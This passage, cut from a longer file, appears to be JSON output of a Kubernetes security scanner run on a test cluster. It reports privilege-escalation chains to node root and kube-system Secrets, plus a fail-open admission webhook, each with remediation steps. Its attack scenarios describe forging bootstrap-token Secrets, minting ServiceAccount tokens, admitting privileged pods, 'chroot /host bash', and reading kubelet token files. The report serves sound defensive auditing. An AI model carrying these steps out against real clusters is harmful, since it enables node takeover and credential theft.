`/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/privesc-fixtures/sa-secret-mint:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 7.95,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can reach **node escape** (host root) in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-secret-mint` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-secret-mint`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-ADMISSION-001:risky-ignore-webhook:mutate.vulnerable.local",
    "rule_id": "KUBE-ADMISSION-001",
    "severity": "HIGH",
    "score": 7.9,
    "category": "infrastructure_modification",
    "title": "MutatingWebhookConfiguration `risky-ignore-webhook/mutate.vulnerable.local` is fail-open (`failurePolicy: Ignore`) on security-critical resources",
    "description": "The webhook `mutate.vulnerable.local` in `MutatingWebhookConfiguration/risky-ignore-webhook` intercepts create/update on security-critical resources (pods, deployments, daemonsets, statefulsets, jobs, cronjobs, or podtemplates) but its `failurePolicy` is set to `Ignore`. The Kubernetes admission docs are explicit: `Ignore` means \"any error from the webhook is silently ignored, and the API request is allowed to continue\". In practice, this means that if the webhook backend is unavailable, slow, or denies the request with an error, the offending pod/workload is admitted as if no policy existed.\n\nConcretely, if the policy backend pod crashes, is rolling, has a network partition, fails its own admission, or returns an HTTP 500, then any pod can ship. That includes pods that violate Pod Security Standards, run as root, mount the host filesystem, or use hostNetwork. Beyond that, an attacker who can already trigger a denial-of-service against the webhook backend (high traffic, OOM via large requests, killing its pods) can deliberately disable enforcement and then admit privileged pods.\n\nThe `failurePolicy` choice is one of two: `Fail` (deny when the webhook is unavailable: the conservative production default) or `Ignore` (allow when unavailable: only appropriate for non-security webhooks like cosmetic mutators). Security webhooks (PSA replacements, image signing, network-policy injection, secret encryption) should always use `Fail` paired with `objectSelector/namespaceSelector` carve-outs that ensure the policy backend itself can come up before any other workload is admitted.",
    "resource": {
      "kind": "MutatingWebhookConfiguration",
      "name": "risky-ignore-webhook",
      "api_group": "admissionregistration.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "MutatingWebhookConfiguration `risky-ignore-webhook` (webhook entry `mutate.vulnerable.local`): applies to admission across the entire cluster"
    },
    "impact": "Any outage or DoS of the webhook backend silently disables policy enforcement cluster-wide on the targeted resources. Privileged pods, root containers, and PSS-violating workloads can be admitted while monitoring shows the webhook \"installed.\"",
    "attack_scenario": [
      "Attacker enumerates webhook configurations (`kubectl get MutatingWebhookConfiguration`) and identifies that `risky-ignore-webhook` has `failurePolicy: Ignore`.",
      "They induce backend failure: kill the webhook's backing pods if they have RBAC for it, send oversized AdmissionReview payloads to OOM the backend, or simply wait for a deploy-time outage.",
      "While the webhook is unhealthy, they apply a privileged pod manifest (hostPID, hostNetwork, hostPath `/`, runAsUser 0).",
      "The API server calls the webhook, gets a connection-refused/timeout error, applies `Ignore`, and admits the pod. There is no audit trail noting that the webhook was bypassed beyond the API-server logs (which most teams do not alert on).",
      "From the privileged pod the attacker pivots: chroot into `/host` for full node compromise, dump secrets, persist a daemonset."
    ],
    "evidence": {
      "failurePolicy": "Ignore",
      "rules": [
        {
          "operations": [
            "CREATE"
          ],
          "apiGroups": [
            ""
          ],
          "apiVersions": [
            "v1"
          ],
          "resources": [
            "pods"
          ],
          "scope": "*"
        }
      ],
      "webhook_index": 0,
      "webhook_name": "mutate.vulnerable.local"
    },
    "remediation": "Switch `mutate.vulnerable.local.failurePolicy` to `Fail` and confirm the webhook backend has the availability/HA characteristics needed for the cluster's admission rate.",
    "remediation_steps": [
      "Edit `MutatingWebhookConfiguration/risky-ignore-webhook` and set `webhooks[name=mutate.vulnerable.local].failurePolicy: Fail`.",
      "Make sure the webhook backend is highly available (≥2 replicas, PodDisruptionBudget, anti-affinity, dedicated nodepool if it is on the critical admission path).",
      "Add a `namespaceSelector` carve-out so the webhook does not fight itself during cold start (e.g., exclude the namespace where the webhook backend runs).",
      "Add a SLO/alert for AdmissionReview latency and 5xx rate; failure-mode is now \"deploys halt\" instead of \"policy silently disabled,\" which is preferable but needs visible monitoring.",
      "Consider migrating PSS-style enforcement to the in-tree Pod Security Admission so you have a non-webhook backstop that remains active even if the webhook fails to come up."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy",
      "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://open-policy-agent.github.io/gatekeeper/website/docs/operations"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — failurePolicy semantics",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy"
      },
      {
        "title": "Kubernetes — Dynamic Admission Control",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "OPA Gatekeeper — Production best practices",
        "url": "https://open-policy-agent.github.io/gatekeeper/website/docs/operations"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1562",
        "name": "Impair Defenses",
        "url": "https://attack.mitre.org/techniques/T1562/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1525",
        "name": "Implant Internal Image",
        "url": "https://attack.mitre.org/techniques/T1525/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.5.1",
        "title": "Configure Image Provenance using ImagePolicyWebhook admission controller",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Admission controllers",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:admission",
      "check:failurePolicyIgnore"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 7.8999999999999995,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can read **kube-system Secrets** in 3 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/foothold-exec/foothold-reader` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-reader` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-reader`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. read_secrets [get,list secrets]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "read_secrets",
